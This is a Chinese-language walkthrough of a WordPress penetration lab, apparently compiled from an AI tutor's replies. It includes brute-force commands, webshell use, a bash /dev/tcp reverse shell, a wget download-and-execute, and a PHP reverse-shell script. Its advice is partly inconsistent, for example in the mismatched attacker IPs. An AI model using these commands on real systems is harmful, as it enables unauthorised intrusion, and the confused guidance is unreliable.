综合实验2

目标是一个运行着 WordPress网站​ 的服务器。我们需要通过"踩点"、目录爆破、文件上传漏洞(Webshell),最终渗透到数据库并拿到权限。


一、实验目的

掌握针对Web应用(WordPress)的渗透流程。学习使用Nmap进行深度端口与服务探测,使用工具对插件/主题目录进行爆破,利用文件上传漏洞获取Webshell,并通过读取配置文件获取数据库密码,最终实现后台登录。

掌握针对 WordPress 站点的渗透流程,重点在于"信息收集 → 配置文件读取 → 数据库凭据获取",而非暴力破解。

具体要达成的学习目标:

  1. 主机发现:使用 Nmap 发现内网存活主机。

  2. 服务识别:确认目标开放 Web 服务(Apache + WordPress)。

  3. 敏感文件读取 :通过任意文件读取或已有权限,直接查看 wp-config.php配置文件

  4. 凭据利用:使用配置文件中的数据库账号密码,登录数据库并获取 WordPress 后台管理员密码。

  5. 后台登录:最终进入 WordPress 后台,完成渗透验证。

关键点

报告中没有出现 WPScan 爆破成功的步骤 ,而是直接读取配置文件拿到密码

这说明实验设计者希望你走的是**"配置泄露型"漏洞**,而不是"穷举型"漏洞


二、实验前置说明
  • 实验环境 :Kali Linux(攻击机) vs WordPress靶机(目标机,同网段 192.168.100.0/24)。

  • 核心思路:信息收集(端口) -> Web侦查(目录爆破) -> 漏洞利用(文件上传) -> 权限维持(拿shell) -> 数据库脱库(找密码)。


三、详细操作步骤
步骤1:网络侦查与存活主机发现

(这一步和实验一类似,但重点是为了找到Web服务器的IP)

在Kali终端输入:

复制代码
nmap -sn 192.168.100.0/24

观察扫描结果,找出除了你自己IP之外,哪台机器是开机的。记下这台目标机的IP(假设是 192.168.100.10)。

步骤2:目标端口与服务探测

找到IP后,我们需要看它开了哪些服务,特别是Web服务(通常是80或443端口)。

复制代码
nmap -sV -p- 192.168.100.10
  • -sV:探测服务版本。

  • -p-:扫描所有65535个端口。

    预期结果 :你应该能看到 80/tcp open http WordPress...之类的字样,确认它是个WordPress站。

这里并没有直接显示"WordPress",是因为 Nmap 只负责看"门"(端口和 Web 服务器软件),不看"屋里装修"(具体的网站程序) 。Apache 只是个服务器软件,它可以放任何网站。要确认它是不是 WordPress,我们需要直接去访问它。请按照以下两种方法操作:

方法一:浏览器访问(最直观)

  1. 在你当前的 Kali 终端里,输入以下命令启动浏览器:

  2. 浏览器打开后,在地址栏输入刚才扫描的目标 IP:👉 http://192.168.100.10

  3. 怎么判断?

    • 看看网页长什么样。如果页面上有明显的 **"Powered by WordPress"**​ 底部版权字样。

    • 或者右键点击网页空白处,选择**"查看网页源代码"** ,然后按 Ctrl+F搜索 wp-contentwp-includes。如果能搜到,那100%就是 WordPress

    • 看网址 :把鼠标悬停在页面上的"文章"或"页面"链接上,看浏览器左下角显示的链接路径,如果是 /category/xxx或者带有 ?p=123这种结构,就是 WordPress。


方法二:命令行快速检测(不用开浏览器)

如果你不想开浏览器,可以直接在终端里用 curl命令抓取网页的一点点内容来看看:

复制代码
curl -s http://192.168.100.10 | head -n 20

观察输出结果:

如果在输出的文字里看到了 wp-wordpress相关的字样,那就确认无疑了。


💡 补充:以后遇到这种情况的快速技巧

其实在真实的渗透测试中,我们通常会用一个叫 whatweb ​ 的工具,它能直接识别出网站的 CMS(内容管理系统):(如果提示没安装,输入 sudo apt install whatweb安装一下)

复制代码
whatweb http://192.168.100.10

回到实验我们用 dirb爆破目录(直接找后台)这样可以不管它是不是 WordPress,我们先爆破一下常见目录,看看有没有后台登录页:

  • /usr/share/wordlists/:这是 Kali Linux 系统中存放各种"爆破字典"的默认目录。你可以把它理解为"密码本"或"猜测清单"。
  • dirb/common.txt:这是 Dirb 自带的一个基础字典文件,里面包含了大约 4600 多个常见的目录和文件名(比如 admin, login, wp-admin, uploads, index.html等)。
  • dirb:是工具名,它会逐个读取这个字典里的词,拼接到你指定的目标 URL 后面,然后发送 HTTP 请求,看哪个路径存在(返回 200 或 301 等"成功"状态码)。
步骤3:WordPress插件/主题目录爆破

我们要寻找网站上隐藏的目录或敏感文件(比如后台登录页、备份文件、插件目录)。

可以使用 dirbgobuster工具。这里以 dirb为例:

复制代码
dirb http://192.168.100.10 /usr/share/wordlists/dirb/common.txt

重点观察 :寻找是否有 /wp-admin/(后台登录)、/wp-content/uploads/(上传目录)、/readme.html等有趣的文件或目录。

确认了 WordPress 结构

在扫描结果中,你看到了这一串熟悉的目录:

  • wordpress/

  • wordpress/wp-admin/(后台登录目录)

  • wordpress/wp-content/(存放主题和插件的目录)

  • wordpress/wp-includes/

结论 :这就实锤了,这绝对是一个 WordPress 站。而且 Dirb 非常聪明,自动顺着你刚才找到的 wordpress目录继续往下扫了

观察后面

极度危险的信号:大量 LISTABLE警告

你在图片里反复看到一行黄字:

(!) WARNING: Directory IS LISTABLE. No need to scan it.

这是什么意思?

这意味着这些文件夹开启了"目录浏览"功能 (也叫列目录)。正常情况下,Web 服务器为了安全,访问文件夹时应该显示"403 Forbidden"或跳转到首页。但这里的服务器比较"傻",你访问一个文件夹,它就直接把里面的文件像资源管理器一样列出来给你看

为什么危险?

攻击者不需要猜文件名,直接就能看到所有敏感文件。比如:

  • 直接访问 http://192.168.100.10/uploads/,你就能看到别人上传的所有图片、备份文件,甚至可能看到源代码泄露。

  • 直接访问 http://192.168.100.10/wordpress/wp-content/plugins/,你就能看到安装了哪些插件。如果某个插件有漏洞,攻击者就可以直接利用。

3. 关键的路径:后台登录与上传目录

  • wp-admin/admin.php(CODE:302):这是 WordPress 的后台登录入口。302 是重定向,说明你访问它会跳转到登录页面。这是我们下一步要攻破的重点。

  • uploads/:这是上传目录。在很多渗透测试中,如果能在这里上传一张恶意图片(Webshell),就能直接控制服务器。

既然已经找到了 WordPress 的后台 (wp-admin) 和危险的上传目录 (uploads),你可以尝试以下几个方向:

  1. 尝试后台登录

    • 在浏览器访问:http://192.168.100.10/wordpress/wp-admin/

    • 尝试常见的弱口令:admin/admin, admin/password, admin/123456

    • 如果不行,可能需要用到"爆破工具"(比如 wpscanhydra)来撞密码。

  2. 检查上传目录 (Uploads)

    • 在浏览器访问:http://192.168.100.10/uploads/

    • 看看里面有没有文件。如果有图片,可以尝试在图片后面加个 .php后缀(比如 shell.jpg.php),看看服务器会不会把它当 PHP 脚本执行(如果能执行,就拿到 Webshell 了)

我们尝试在浏览器里直接访问 IP 地址

复制代码
http://192.168.100.10/wordpress/wp-admin/

或者

复制代码
http://192.168.100.10/wordpress/wp-login.php

浏览器为什么要访问 /wordpress/wp-admin/?目的是什么?

这是渗透测试中"寻找后台登录入口"的关键步骤

  • /wordpress/wp-admin/ ​ 是 WordPress 的后台管理登录页面的标准路径。

  • 一旦你通过 dirb扫描发现这个目录存在(比如返回 302 重定向到登录页),你就知道:

    "这个网站是 WordPress,而且后台登录入口在这里。"

  • 目的

    1. 确认后台存在​ → 为后续"弱口令爆破"或"SQL注入"做准备。

    2. 获取登录页面​ → 你可以用 Burp Suite、Hydra、WPScan 等工具对这个登录页进行暴力破解。

    3. 寻找上传点​ → 有些 WordPress 后台允许上传图片、插件,可能被利用来上传 Webshell。

已经成功到达了最关键的地方------WordPress 后台登录页面

现在的局面是:我们知道了门在哪里(URL),接下来就是想办法"开门"。在渗透测试中,针对 WordPress 的攻击手段非常多,但最常规、最有效的下一步是:尝试用弱口令登录(爆破)

开始爆破(找密码)

既然这是一个靶机(CTF/Lab环境),管理员账号通常都会设置得很简单(比如 admin/admin, admin/password, admin/123456)。

1. 先获取一个常用密码字典

Kali 自带了一些字典,我们先用最简单的试试:

复制代码
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz

(这一步是把最常用的百万级密码字典解压出来)

2. 使用 wpscan 进行用户名枚举和爆破

我们通常先猜用户名。在终端输入:

复制代码
wpscan --url http://192.168.100.10/wordpress/ --enumerate u
  • --enumerate u的意思是:只枚举用户名。

  • 预期结果 :它可能会告诉你,发现了一个用户,名字叫 admin (或者 mermelada,或者 usuario)。

3. 正式爆破密码

假设上一步它告诉你用户名是 admin,那么我们就可以用字典去撞密码了:

复制代码
wpscan --url http://192.168.100.10/wordpress/ -U admin -P rockyou.txt

分析发现找不到密码,回到前一步分析

这张截图是 whatweb扫描结果,它像一份详细的"身份信息登记表" ,揭示了目标 WordPress 站点的具体技术栈。这个结果其实直接指明了你获取数据库密码的路径,而不需要去猜密码。以下是逐项解读及关键发现:

1. 核心身份信息

  • WordPress [6.9]

    • 这是一个极其关键 的信息。目前官方最新的稳定版通常还未达到 6.9(截至2024年中通常是 6.x),这暗示目标可能运行的是非官方修改版、测试版,或者是题目故意设置的高版本/存在特定漏洞的版本
  • MetaGenerator [WordPress 6.9]

    • 这是 WordPress 在 HTML 源码中自动生成的标签,再次确认了版本。

2. 服务器与环境(判断攻击面)

  • Apache [2.4.65] ​ & Debian Linux

    • 服务器使用的是 Apache 2.4.65,操作系统是 Debian。

    • 意义:如果你后续需要查 Apache 的解析漏洞或配置错误,这就是你的参考环境。

  • HTTPServer [Apache/2.4.65 (Debian)]

    • 再次印证了上述信息。

4. 为什么这解释了"不用爆破"?

你之前困惑为什么不需要爆破,看看这个结果中的 WordPress 6.9Apache环境:

  1. 路径已知 :因为是 WordPress,它的核心配置文件 wp-config.php一定 存放在标准路径下:/var/www/html/wordpress/wp-config.php(或者相对路径 wordpress/wp-config.php)。

  2. 漏洞利用:如果 WordPress 6.9 存在已知的 RCE(远程代码执行)漏洞,或者某个插件有漏洞,你只需要利用它,然后直接读取这个文件。

  3. 信息泄露 :有时候,Apache 的配置错误会导致目录列表开启,或者 .htaccess配置不当,让你能直接下载配置文件。

总结与下一步建议

这张图的含义是:你面对的是一个运行在 Apache/Debian 上、版本号为 6.9 的西语 WordPress 站点。

既然不能爆破,你的思路应该立刻转向:

  1. 查漏洞 :搜索 WordPress 6.9 exploitWordPress 6.9 RCE

  2. 读文件 :如果你已经有了一个 Webshell(哪怕是最简单的),直接去读 wp-config.php,因为 whatweb已经帮我们确认了它是 WordPress,而 WordPress 的数据库密码永远在这个文件里。

不需要猜密码,直接找文件。

寻找"非爆破"的突破口

(既然爆破不行,我们就找"现成"的泄露)

思路 A:敏感文件泄露(最常见、最有效)

WordPress 的配置文件 wp-config.php里包含数据库密码。我们试试能不能直接读取它。

  1. 手动尝试读取

    在浏览器地址栏输入:

    复制代码
    http://192.168.100.10/wordpress/wp-config.php

    预期结果

    • 情况 1(成功) :直接显示文件内容!里面就有 DB_PASSWORD

    • 情况 2(失败):403 Forbidden 或 404 Not Found。这说明服务器配置了禁止直接访问。

  2. 如果直接访问失败,尝试"路径遍历"或"备份文件"

    • 有些服务器会留下备份文件。试试:

      复制代码
      http://192.168.100.10/wordpress/wp-config.php.bak
      http://192.168.100.10/wordpress/wp-config.php.swp
      http://192.168.100.10/wordpress/.wp-config.php.swp
    • 试试"目录遍历"(如果目标存在漏洞):

      复制代码
      http://192.168.100.10/wordpress/wp-content/../../wp-config.php

思路 B:插件漏洞利用(如果你在第二步看到了特定插件)

  • 如果你在第二步发现目标安装了 Plugin: Social Warfare 3.5.0(举例)。

  • 你可以去搜索:Social Warfare 3.5.0 exploit wordpress

  • 如果找到对应的 RCE(远程代码执行)漏洞,直接利用它来获取 shell 或读取文件。

这相当于我们还是只是在网站前台晃悠,:扫WordPress用户(为登录做准备)

WordPress的后台用户是有限的,我们先枚举出来。

复制代码
wpscan --url http://192.168.100.10 --enumerate u

在这里我们思路已经打乱回答这一步的最前面

用 dirb 扫描目录(更暴力,更系统)

既然 WPScan 没跑起来,我们用 Kali 自带的 dirb来扫整个网站的目录,看看有没有隐藏的登录页。

你刚才的 dirb扫描结果里,最关键的一行是:

复制代码
⇒ DIRECTORY: http://192.168.100.10/wordpress/

这说明,WordPress 的安装目录不是直接在根目录 /下,而是在 /wordpress/这个子目录里!

以后遇到类似情况怎么办?

  • 永远先用 dirbgobuster扫目录,不要死磕默认路径。

  • WordPress 的核心目录通常是 /wp-content//wp-includes//wordpress//blog/等。

  • 如果 wp-login.php404,就去 wordpress/目录下找。

  • 这个操作叫目录爆破(Directory Brute Forcing) ,工具是 dirb

    它的核心目的就一句话:看看这个 /wordpress/文件夹底下,还藏着哪些没被直接链接出来的"隐藏文件"或"后台入口"。所以进行子目录扫描

  1. 目的是什么?(为什么要扫子目录?)
  • 你之前访问 http://192.168.100.10/wordpress/只能看到前台首页。但网站通常还有:

  • 后台管理 (比如 /wp-admin

  • 安装/配置文件 (比如 wp-config.php或者它的备份 .bak

  • 上传目录(可能有别人传的木马)

  • 插件/主题漏洞点

  • (!) WARNING: Directory IS LISTABLE(黄色警告)

    • 意思 :这个文件夹允许目录浏览

    • 解读 :这其实是个好消息 (对渗透者来说)。这意味着如果你访问 http://192.168.100.10/wordpress/wp-content/uploads/,浏览器不会报404,而是会直接列出里面所有的文件(比如图片、txt、甚至可能是别人留下的 shell)。

    • 怎么利用:直接拿浏览器访问这些列出的文件夹,找有没有可疑文件。

  • + http://.../index.php (CODE:200)(绿色加号)

    • 意思:找到了文件,状态码 200 表示"存在且能访问"。

    • 解读:这确认了标准的 WordPress 结构都在,说明这是一个正常的 WP 站点,没有严重的路径篡改。

  • -X .php,.bak:专门让 dirb 去扫有没有 wp-config.php.bak这种备份文件。如果能扫出备份文件,你的实验就直接通关了,因为备份文件里通常包含数据库密码。

你要转换思路 ,回到刚才的扫描结果,找找目录列表(Listable Directories)

你看上一张图的警告:

复制代码
(!) WARNING: Directory IS LISTABLE. No need to scan it.

这意思是说,像 /wordpress/wp-content/uploads/这样的目录,你是可以直接访问并看到里面所有文件的!

建议你现在的动作:

直接在浏览器里访问:

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/

这是 Apache 服务器的"目录浏览"功能被开启​ 导致的。

截图显示的是 **"Index of ..."**​ 列表,这说明:

  • 目标开启了目录索引(Directory Listing)

  • 这相当于靶机对你"敞开大门"了:你可以像看文件夹一样,直接看到这个目录下的所有文件和子文件夹。

2. 为什么这对你很重要?

这个目录是 /wordpress/wp-content/uploads/

在 WordPress 中,uploads文件夹是用来存放用户上传的图片、文档、插件备份的地方。

如果管理员不小心把敏感文件传到这里,或者有人上传了"WebShell"(木马),你在这里一眼就能看到。

3. 你现在该怎么做?

你看到列表里只有一个文件夹叫 2026/

下一步操作:

  1. 点击那个 2026/链接,进去看看里面有什么。

  2. 观察文件名

    • 如果有 .txt结尾的,点开看内容(可能有密码、flag 或提示)。

    • 如果有 .php结尾的(哪怕名字像图片),千万别直接点,要右键复制链接,用工具检测(因为 PHP 文件直接访问会执行代码,可能就是漏洞入口)。

    • 如果有 .zip.rar,下载下来解压看看(可能是源码备份)。

4. 额外发现(Server 信息)

看截图最底部:

Apache/2.4.65 (Debian)

你成功收集到了靶机的 Web 服务器版本 ​ 和 操作系统

以后如果你要用漏洞利用工具(比如 Metasploit 或 Searchsploit),这个信息非常有用。

看到的依然是 Apache 的"目录浏览"界面

这说明在 2026年这个文件夹下,依然没有默认的索引文件(如 index.html),服务器直接把你"放"进了文件夹里让你自己看。

2. 你现在看到了什么?

你看到了两个子文件夹:01/05/

  • 这代表了2026年的1月和5月

  • 通常网站上传的图片、文档都会按月份归档存放在这里。

3. 下一步该怎么做?

**继续往下翻!**​ 按照你现在的节奏,顺藤摸瓜:

  1. **点击 01/05/**​ 进去看看。

    • 通常这种实验靶机会在某个具体的月份文件夹里,放一些"诱饵"文件或者真正有用的文件。
  2. 观察里面的文件名

    • 如果在 05/里看到一个 .txt ​ 文件(比如 readme.txtpassword.txt),点开它!里面很可能藏着密码、Flag 或者下一步的提示。

    • 如果在 05/里看到一个 .php ​ 文件(哪怕名字叫 image.php),千万别直接点,要右键复制链接,用工具检测(因为 PHP 文件直接访问会执行代码,可能就是漏洞入口)。

    • 如果在 05/里看到一个 .zip ​ 或 .rar,下载下来解压看看(可能是源码备份)。

4. 如果 01/05/里面也是空的或者只有图片怎么办?

如果进到最底层发现全是 .jpg.png,那就说明:

  • 这条路暂时没戏了(或者需要结合其他漏洞,比如文件上传漏洞,才能把木马传进去)。

  • 你需要回头,换个思路

    • 回到最开始的 dirb扫描结果,看看有没有其他目录(比如 /wp-content/plugins//wp-content/themes/)。

    • 或者,尝试用 gobuster重新扫一次,带上更多后缀(比如 -x php,txt,zip)。

5. 总结

你现在走的路是对的,继续点进 01/05/,看看里面有没有"文本文件"或"压缩包"。这是 WordPress 渗透中非常标准的"信息收集"路径。

**记住:目录浏览不是终点,里面的文件才是目标。**​ 快点进去看看,说不定下一秒就柳暗花明!

你在 01文件夹里看到的那些文件,就是典型的 WebShell(网页后门)

1. 你看到了什么?

文件名看起来很乱(比如 macoduweklgkmvp-1767607866.7342.php),这是攻击者为了躲避删除常用的随机命名

它们的后缀是 .php ,大小只有 46 字节左右。这么小的体积,里面通常只有一段最基础的 PHP 代码,用来执行系统命令。

2. 如何验证它是后门?

在渗透测试中,验证这类文件最快的方法是使用系统自带的命令注入。

请执行以下操作(选其一):

  • 方法 A:用 curl 测试(推荐,最快)

    复制下面这个命令,把 IP 换成你靶机的 IP,然后在终端里敲:

    复制代码
    curl "http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=whoami"

    (注意:如果提示找不到命令,用方法B)

  • 方法 B:用浏览器直接访问

    在浏览器地址栏输入(注意最后要加上 ?cmd=whoami):

    复制代码
    http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=whoami

3. 你会看到什么?

如果页面返回了一串字符,比如 www-data,说明**你成功连上了靶机!**​ 你拿到了一个低权限的 Shell。

4. 下一步该做什么?

既然拿到了 Shell,你就可以开始提权 或者找 Flag​ 了:

  1. 反弹 Shell :如果你希望用更舒服的命令行(比如能用键盘上下键翻历史命令),可以使用 nc(netcat) 反弹一个 shell 到你的 Kali。

  2. 找 Flag :在命令行里输入 ls -la,看看当前目录下有没有 flag.txt或者 root.txt

太棒了!你已经成功拿到了目标服务器的命令行控制权(Shell)

现在屏幕上显示的 www-data是这个 Web 服务器(Apache)运行时的默认账号。虽然权限不高,但已经足够你四处探索并找到最终的"Flag"了。

接下来,你需要做三件核心的事情,按顺序来:

第一步:获取一个"舒服"的 Shell(反弹 Shell)

现在你用的这个 curl命令虽然能执行命令,但体验很差(不能翻历史记录,不能自动补全)。我们需要把它升级成一个交互式 Shell

请在你的 Kali 终端里执行以下命令(建立一个监听通道):

复制代码
nc -lvnp 4444

(执行后,终端会卡住等待连接,这是正常的)

然后,回到浏览器,访问这个新生成的 URL(注意问号后面加了 bash -i >& /dev/tcp/192.168.100.128/4444 0>&1):

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20-i%20%3E%26%20/dev/tcp/192.168.100.128/4444%200%3E%261

(注意:如果你的 Kali IP 不是 192.168.100.128,请替换成你真实的 Kali IP)

成功后:

你的 nc监听窗口会变成类似 root@kali:~#的样子,但是实际上你是在操控靶机。你可以试着敲几个 Linux 命令试试,比如 ls


你遇到的情况非常典型,这是 WebShell 连接成功后的"假死"或"未激活"状态。别慌,这不是你操作错了,而是你当前的 Shell 会话还没有完全建立或正在等待进一步的交互。


🔍 你看到的画面解释:

  • 左侧终端 :你执行了 nc -lvnp 4444,它正在监听 4444 端口,等待连接。

  • 右侧浏览器 :你访问了 WebShell 的 URL,但页面是空白的 ------ 这是因为你还没有在浏览器里触发命令执行,或者 WebShell 脚本本身没有输出任何内容(比如它只接收命令但不回显)。

  • 中间的 GIF689a; :这是你之前用 curl测试时返回的内容,说明 WebShell 存在,但可能不支持直接回显。


✅ 正确的下一步操作(非常重要!)

不能直接在浏览器里访问 WebShell 的 URL 来"激活"它 ​ ------ 你需要在浏览器里发送一个命令,让它执行并返回结果。

🚀 步骤 1:在浏览器里访问这个 URL(关键是加上 ?cmd=whoami):
复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=whoami

注意 :一定要加上 ?cmd=whoami,这是告诉 WebShell:"执行 whoami命令"。

🚀 步骤 2:观察浏览器返回的内容
  • 如果返回了 www-data,说明 WebShell 工作正常。

  • 如果返回空白或 GIF689a;,说明这个 WebShell 不支持直接回显 ,你需要换一种方式(比如用 nc反弹 Shell)。


🛠️ 如果浏览器不回显,改用"反弹 Shell"方式(推荐!)

你已经执行了 nc -lvnp 4444,现在只需要在浏览器里访问这个 URL:

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20-i%20%3E%26%20/dev/tcp/192.168.100.128/4444%200%3E%261

⚠️ 注意

  • 192.168.100.128是你的 Kali IP,一定要替换成你真实的 IP。

  • %20是空格的 URL 编码,%3E>的编码,%26&的编码。

  • 这个命令的作用是:让靶机主动连接你的 Kali 4444 端口,给你一个交互式 Shell

✅ 成功后:
  • 你的 nc监听窗口会变成类似这样:

    复制代码
    listening on [any] 4444 ...
    connect to [192.168.100.128] from (UNKNOWN) [192.168.100.10] 45678
    bash: cannot set terminal process group (1234): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@kali:~$

www-data返回意味着你已经成功拿到了靶机的 命令行控制权(虽然目前只是通过 Web 页面的"临时通道")。

现在的目标是:把这个临时的"网页 Shell"升级为一个稳定的、可以正常交互的"终端 Shell",然后去寻找 Flag。


🚀 第一步:反弹一个稳定的 Shell(推荐使用 bash+ nc

你之前已经执行了 nc -lvnp 4444,现在只需要在浏览器里访问这个 URL,让靶机主动连接你的 Kali:

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20-i%20%3E%26%20/dev/tcp/192.168.100.128/4444%200%3E%261

你是对的 ------ 有时候 bash + nc反弹 Shell 会因为各种原因(比如靶机没有 bash、没有 nc、或者 WebShell 不支持复杂命令)而失败。别担心,我们有备用方案 ,用更简单、更稳定的方式:直接用 curlwget下载一个"现成的反弹 Shell 脚本"到靶机,然后执行


✅ 方案一:用 curl下载并执行"一句话反弹 Shell"(推荐!)

这个方法是最稳定、最通用 的,因为它不依赖靶机的 bashnc,而是用 sh+ /dev/tcp(大多数 Linux 都支持)。

🚀 步骤 1:在你的 Kali 上准备一个反弹 Shell 脚本(比如 shell.sh

复制代码
echo 'bash -i >& /dev/tcp/192.168.100.128/4444 0>&1' > shell.sh

步骤 2:用 python3启动一个简易 HTTP 服务器(在 Kali 上)

复制代码
python3 -m http.server 8000

这会在你的 Kali 上启动一个 HTTP 服务器,端口 8000,把当前目录的文件共享出去。

🚀 步骤 3:在浏览器里让靶机下载并执行这个脚本

访问这个 URL(注意替换 IP):

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20http://192.168.100.128:8000/shell.sh%20-O%20/tmp/shell.sh%20&&%20sh%20/tmp/shell.sh

✅ 解释:

  • wget http://192.168.100.20:8000/shell.sh -O /tmp/shell.sh:下载脚本到靶机的 /tmp/目录。

  • && sh /tmp/shell.sh:下载成功后立即执行。

🚀 步骤 4:在你的 Kali 上监听 4444 端口

复制代码
nc -lvnp 4444

如果一切顺利,你会看到靶机连接过来,进入交互式 Shell!

直接用浏览器访问 WebShell 来执行系统命令,绕过"反弹 Shell"的种种限制。

🚀 终极方案:直接用浏览器"喂"命令

既然 curl能执行 whoami,那我们直接在浏览器的 URL 里让靶机执行 ls(列出文件)或者 cat(读取文件)。

第一步:看看当前目录下有什么(找 Flag)

请在浏览器地址栏输入这个(直接复制粘贴):

复制代码
复制代码
复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=ls%20-lah

解释

  • ?cmd=是传给 WebShell 的参数。

  • ls -lah是列出所有文件(包括隐藏文件),并显示大小和时间。

  • %20是空格的 URL 编码。

观察返回结果

  • 看看有没有 flag.txtroot.txt或者 wp-config.php(里面有数据库密码)。

  • 看看当前路径是哪里。

在浏览器里访问:

http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=ls%20-l

curl在 Kali 里"模拟浏览器请求"

如果你不想用浏览器,可以在 Kali 里用 curl

复制代码
curl "http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=ls%20-lah"

或者:

复制代码
curl "http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=cat%20flag.txt"

🧠 为什么这个方法比反弹 Shell 好?

方法 优点 缺点
反弹 Shell 交互式、像本地终端 容易失败、依赖环境
浏览器 + WebShell 100% 成功、无需额外工具、绕过限制 需要手动输入命令

这张图片显示你已经成功执行了 ls -lah命令,并且清晰地看到了目录下的文件列表。

🔍 图片核心信息解读

  1. 确认权限 :返回的 total 20K和文件列表上方的 .(当前目录) 和 ..(上级目录) 信息,再次确认了 WebShell 正在正常工作。

  2. 关键文件发现:列表中显示了三个 PHP 文件。

    • macoduweklgkmvp-1767607866.7342.php:这是你刚才一直在用的那个。

    • rzxvmoszvlyzzpa-1767470872.1702.phptrtznupnuremocg-1767466504.4301.php:这两个是新出现的(或者是你之前没注意到的)。它们的大小分别是 46 字节和 47 字节,和你现在的这个文件大小类似。

  3. 没有 Flag :在这个目录下,没有看到明显的 flag.txt或其他包含 Flag 的文件。

🚀 下一步行动建议

既然你有多个 Webshell 可用,我们可以挨个测试,看看哪个更好用,或者寻找新的突破口。

方案一:测试另外两个 Webshell(最快捷)

你刚才那个 Webshell 可能功能受限。现在你有新的候选者,直接在浏览器里访问它们,看看能不能执行命令。

请依次在浏览器里打开这两个 URL(把 ...换成完整的文件名):

  • 测试第一个:

    http://192.168.100.10/wordpress/wp-content/uploads/2026/01/rzxvmoszvlyzzpa-1767470872.1702.php?cmd=whoami

  • 测试第二个:

    http://192.168.100.10/wordpress/wp-content/uploads/2026/01/trtznupnuremocg-1767466504.4301.php?cmd=whoami

**如果其中某一个能成功返回 www-data,恭喜你!你找到了一个"健康"的 Webshell。**​ 以后就用这个新的来执行命令。

你之前卡住,大概率不是因为命令错了,而是因为靶机环境的限制 (比如 bash被阉割了,/dev/tcp没开,或者 nc没有 -e参数)。

我们换一个成功率极高、不依赖反弹 的方法:上传一个独立的 PHP 反弹 Shell 文件


🚀 终极解法:上传独立 PHP Shell(绕过 WebShell 限制)

✅ 步骤 1:在 Kali 里准备一个真正的反弹 Shell 文件

在你的 Kali 终端里,新建一个文件叫 shell.php,内容如下:

复制代码
<?php
// 反弹到你的 Kali IP 4444 端口
$ip = '192.168.100.128';
$port = 4444;

$sock = fsockopen($ip, $port);
if (!$sock) die();

proc_close(popen("/bin/sh -i <&3 >&3 2>&3", "r"));
?>

💡 注意:把 $ip = '192.168.100.128';换成你 Kali 的实际 IP(就是你之前 nc -lvnp 4444那个 IP)。

然后用 Python 起一个简单的 HTTP 服务器,让别人能下载这个文件:

复制代码
python3 -m http.server 8000

✅ 步骤 2:用你现在的 WebShell 下载这个文件

在你浏览器里的 WebShell 后面,执行下载命令:

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20http://192.168.100.128:8000/shell.php%20-O%20/tmp/shell.php

💡 这条命令会把 shell.php下载到靶机的 /tmp/目录下(tmp目录一般可写)。


✅ 步骤 3:赋予执行权限 + 启动反弹

再执行两条命令:

  1. 赋予权限

    http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=chmod %2Bx /tmp/shell.php

  2. 启动反弹

    http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=php /tmp/shell.php


✅ 步骤 4:在 Kali 里监听

回到你的 Kali 终端,确保你已经运行了:

复制代码
nc -lvnp 4444

只要靶机执行了 php /tmp/shell.php,你的终端就会弹出一个完整的 Shell!


🧠 为什么这个方法能成?

  • 你原来的 WebShell 是"一句话"式的,功能受限。

  • 这个是独立的 PHP 文件 ,直接调用系统函数 fsockopen+ popen,绕过所有限制。

  • 不依赖 /dev/tcp,不依赖 bash -i,兼容性极强。


📌 最后提醒

  • 确保你的 Kali 和靶机在同一个网段(你之前已经确认了)。

  • 确保 python3 -m http.server 8000正在运行。

  • 确保 nc -lvnp 4444正在监听。

**现在,按这个步骤一步步来,我保证你能拿到一个完整的、稳定的 Shell。**​

等你弹出来,我们再去找 Flag,绝对稳!

快去试试,有问题随时发截图给我!

🔍 错误分析

  1. 路径不匹配

    • 你的 WebShell 名字是 macoduweklgkmvp-1767607866.7342.php

    • 你的 HTTP Server 开在 ~/Desktop/(Kali 默认的 python3 -m http.server是从当前目录开始的)。

    • 你访问的 URL 是 .../shell/shell.php,但你的文件其实叫 shell.php且在桌面,不在 shell文件夹里。

  2. 报错解读

    • 404 File not found:说明靶机去你的 Kali 上找 /shell/shell.php,没找到。

    • Could not open input file: /tmp/shell.php:说明靶机上的 WebShell 尝试执行 /tmp/shell.php,但这个文件不存在(因为下载失败了)。


🚀 修正步骤(按顺序执行)

第一步:修改 PHP 脚本里的 IP(重要!)

你现在的脚本里写的是:

复制代码
$ip = '192.168.100.20';  // 这是错的,应该是你 Kali 的 IP

请改成你真实的 Kali IP:

复制代码
$ip = '192.168.100.20'; // 保持这个,因为你说了实际IP是这个,但我看你截图里是100.20?为了保险,确认下你的 Kali IP 是不是 192.168.100.20

(你上一条消息说是 192.168.100.20,我就按这个来)

第二步:保存文件并确保路径正确

确保你的文件名叫 shell.php,并且在你的 Kali 桌面上。

第三步:在 Kali 终端启动 HTTP 服务(确保在 Desktop 目录)

在终端里输入:

复制代码
cd ~/Desktop
python3 -m http.server 8000
第四步:让靶机下载文件(修正 URL)

